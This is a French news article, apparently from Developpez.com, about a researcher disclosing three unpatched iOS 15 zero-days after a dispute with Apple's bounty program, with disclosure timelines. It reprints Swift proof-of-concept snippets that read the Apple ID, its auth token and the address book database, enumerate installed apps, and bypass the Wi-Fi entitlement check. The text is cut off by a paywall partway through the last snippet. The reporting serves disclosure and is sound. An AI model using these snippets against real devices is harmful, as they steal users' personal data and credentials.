
avec un code d'exploitation envoyé comme PoC
Énervé par la façon dont Apple gère son programme Security Bounty, un chercheur de bogues a publié un code d'exploitation de preuve de concept pour trois vulnérabilités zero-day dans le nouveau système d'exploitation mobile iOS 15 d'Apple.
Jeudi, sur le blog basé en Russie Habr et sous le pseudonyme IllusionOfChaos (sur Twitter il répond au même pseudonyme), le chercheur a exprimé sa frustration face à la gestion par Apple des rapports de vulnérabilité :
« Je souhaite partager mon expérience frustrante de participation au programme Apple Security Bounty. J'ai signalé quatre vulnérabilités 0-day cette année entre le 10 mars et le 4 mai, à ce jour, trois d'entre elles sont toujours présentes dans la dernière version iOS (15.0) et une a été corrigée dans 14.7, mais Apple a décidé de la couvrir et de ne pas la mentionner sur la page de contenu de sécurité. Lorsque je les ai confrontés, ils se sont excusés, m'ont assuré que cela était dû à un problème de traitement et ont promis de le répertorier sur la page de contenu de sécurité de la prochaine mise à jour. Il y a eu trois sorties depuis lors et ils ont rompu leur promesse à chaque fois ».
« Il y a dix jours, j'ai demandé une explication et j'ai prévenu que je rendrais mes recherches publiques si je ne reçois pas d'explication. Ma demande a été ignorée donc je fais ce que j'ai dit que je ferais. Mes actions sont conformes aux directives de divulgation responsable (Google Project Zero divulgue les vulnérabilités dans les 90 jours après les avoir signalées au fournisseur, ZDI - dans 120). J'ai attendu beaucoup plus longtemps, jusqu'à six mois dans un cas ».
Il a rappelé qu'il n'est pas la première personne à exprimer son mécontentement dans la gestion du programme Apple Security Bounty, donnant des liens redirigeant vers les plaintes d'autres chercheurs.
Apple a publié jeudi un correctif pour macOS Catalina afin de corriger une autre faille 0-day, après avoir effectué un exercice similaire dix jours plus tôt pour résoudre un bogue iMessage zero-clic utilisé pour cibler les militants des droits humainss.
Les trois failles iOS non corrigées incluent :
- Gamed 0-day, qui permet d'accéder à des données sensibles telles que l'adresse e-mail de l'identifiant Apple, le nom complet, le jeton d'authentification Apple ID associé, l'accès en lecture à une base de données de contacts partagée, la base de données de numérotation rapide et le carnet d'adresses.
- Nehelper Enumerate Installed Apps 0-day, qui permet à toute application installée par l'utilisateur de déterminer si une autre application est installée.
- Nehelper Wi-Fi Info 0-day, qui permet à une application disposant d'une autorisation d'accès à la localisation d'utiliser le Wi-Fi sans le droit requis.
La faille corrigée, Analyticsd, permettait à une application installée par l'utilisateur d'accéder à un ensemble partagé de journaux d'analyse contenant des données médicales, des informations sur l'utilisation de l'appareil, des données sur les accessoires de l'appareil, des données de plantage et des paramètres de langue pour les pages Web consultées.
Par la suite, il a donné des liens sur des dépôts GitHub contenant le code PoC qu'il a envoyé à Apple.
Plus d'informations sur les vulnérabilités non corrigées
Gamed 0-day
Gamed 0-day est évidemment le bogue le plus grave, car il expose à la fois des informations personnelles identifiables (PII) et peut être utilisé dans certains cas pour pouvoir effectuer des actions sur *.apple.com qui devraient normalement être initiées par le système d'exploitation iOS lui-même ou par des interactions directes avec l'utilisateur.
Selon lui, toute application installée à partir de l'App Store peut accéder aux données suivantes sans aucune invite de l'utilisateur :
- Adresse e-mail de l'identifiant Apple et nom complet associé
- Jeton d'authentification Apple ID qui permet d'accéder à au moins un des points de terminaison sur *.apple.com au nom de l'utilisateur
- Accès complet en lecture au système de fichiers à la base de données Core Duet (contient une liste de contacts, de mails, SMS, iMessages, des applications de messagerie tierces et des métadonnées sur toutes les interactions de l'utilisateur avec ces contacts (y compris les horodatages et les statistiques), ainsi que certaines pièces jointes (comme les URL et textes)
- Accès en lecture au système de fichiers complet à la base de données Speed Dial et à la base de données du carnet d'adresses, y compris les photos de contact et d'autres métadonnées comme les dates de création et de modification (il a précisé que, pour ce dernier point, lorsqu'il a vérifié sur iOS 15 et que celui-ci a été inaccessible, il a conclu qu'Apple dû corriger récemment ce bogue sans en informer le public)
Voici une courte preuve de concept (celle-ci ne sera pas réellement compilée et il propose une solution de contournement sur le référentiel GitHub)
Code Swift : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 | let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)! let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol let pid = ProcessInfo.processInfo.processIdentifier proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in let appleID = response.credential.accountName let token = response.credential.authenticationToken } utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in let addressBookData = data } } |
- 10 mars 2021 - J'ai signalé la vulnérabilité à Apple ;
- 10 mars - Apple a reconnu avoir reçu mon rapport ;
- 20 mai - J'ai demandé une mise à jour du statut (et je n'ai pas reçu de réponse) ;
- 30 mai - J'ai à nouveau demandé une mise à jour de statut ;
- 1er juillet - Apple a répondu qu'ils enquêtaient toujours ;
- 20 juillet - J'ai à nouveau demandé une mise à jour de statut ;
- 25 août - Apple a répondu qu'ils prévoyaient de résoudre ce problème dans la prochaine mise à jour.
Nehelper Enumerate Installed Apps 0-day
La vulnérabilité permet à toute application installée par l'utilisateur de déterminer si une application est installée sur l'appareil en fonction de son ID de bundle.
Le point de terminaison XPC com.apple.nehelper a une méthode accessible à toute application qui accepte un ID de bundle en tant que paramètre et renvoie un tableau contenant des UUID de cache si l'application avec l'ID de bundle correspondant est installée sur l'appareil ou un tableau vide sinon. Cela se passe au niveau de -[NEHelperCacheManager onQueueHandleMessage:] dans /usr/libexec/nehelper.
Code Swift : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | func isAppInstalled(bundleId: String) -> Bool { let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)! xpc_connection_set_event_handler(connection, { _ in }) xpc_connection_resume(connection) let xdict = xpc_dictionary_create(nil, nil, 0) xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1) xpc_dictionary_set_uint64(xdict, "cache-command", 3) xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId) let reply = xpc_connection_send_message_with_reply_sync(connection, xdict) if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil { return true } return false } |
Chronologie :
- 4 mai 2021 - J'ai signalé la vulnérabilité à Apple ;
- 4 mai - Apple a indiqué avoir reçu mon rapport ;
- 20 mai - J'ai demandé une mise à jour du statut (et je n'ai pas reçu de réponse) ;
- 20 juillet - J'ai à nouveau demandé une mise à jour de statut ;
- 12 août - Apple a répondu qu'ils enquêtaient toujours.
Nehelper Wifi Info 0-day
Le point de terminaison XPC com.apple.nehelper accepte le paramètre fourni par l'utilisateur sdk-version et si sa valeur est inférieure ou égale à 524288, com.apple.developer.networking.wifi-info le contrôle des droits est ignoré. Cela permet à toute application éligible (par exemple, possédant une autorisation d'accès à la localisation) d'accéder aux informations Wifi sans le droit requis. Cela se passe au niveau de -[NEHelperWiFiInfoManager checkIfEntitled:] dans /usr/libexec/nehelper.
[CODE=Swift]func wifi_info() -> String? {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
xpc_dictionary_set_string(xdict, "interface-name", "en0")
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let result = xpc_dictionary_get_value(reply, "result-data") {
let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
return[/code=swift]...
La fin de cet article est réservée aux abonnés. Soutenez le Club Developpez.com en prenant un abonnement pour que nous puissions continuer à vous proposer des publications.